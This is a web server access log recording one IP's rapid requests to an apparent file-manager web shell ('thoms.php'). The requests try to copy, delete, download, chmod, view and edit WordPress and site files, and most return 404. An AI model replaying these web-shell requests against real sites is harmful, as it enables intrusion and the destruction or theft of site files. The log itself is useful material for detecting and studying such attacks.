45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Flicense.txt&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Flicense.txt&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?del=profile.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Fadmin.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Fadmin.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Findex.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Findex.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /bfl.com.tw/legacy-checkpoint/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?dl=index.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?chmod=license.txt&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /bfl.com.tw/legacy-checkpoint HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/legacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?chmod=admin.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /bfl.com.tw/legacy-checkpoint/admin.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?chmod=index.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /bfl.com.tw/legacy-checkpoint/ HTTP/1.1" 200 6281 "https://163.245.207.76:443/bfl.com.tw/legacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?dl=profile.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?del=index.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?dl=license.txt&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /bfl.com.tw/legacy-checkpoint/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Fprofile.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint%2Fprofile.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:32 -0400] "GET /thoms.php?del=license.txt&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?chmod=style-engine&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?chmod=feed-atom.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?del=speculative-loading.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:33 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?del=admin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?del=class-wpdb.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?del=ai-client&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ai-client&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?chmod=block-supports&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?chmod=Text&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=Text&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?dl=class-requests.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?del=ai-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?del=blocks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?del=cache-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?dl=abilities-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
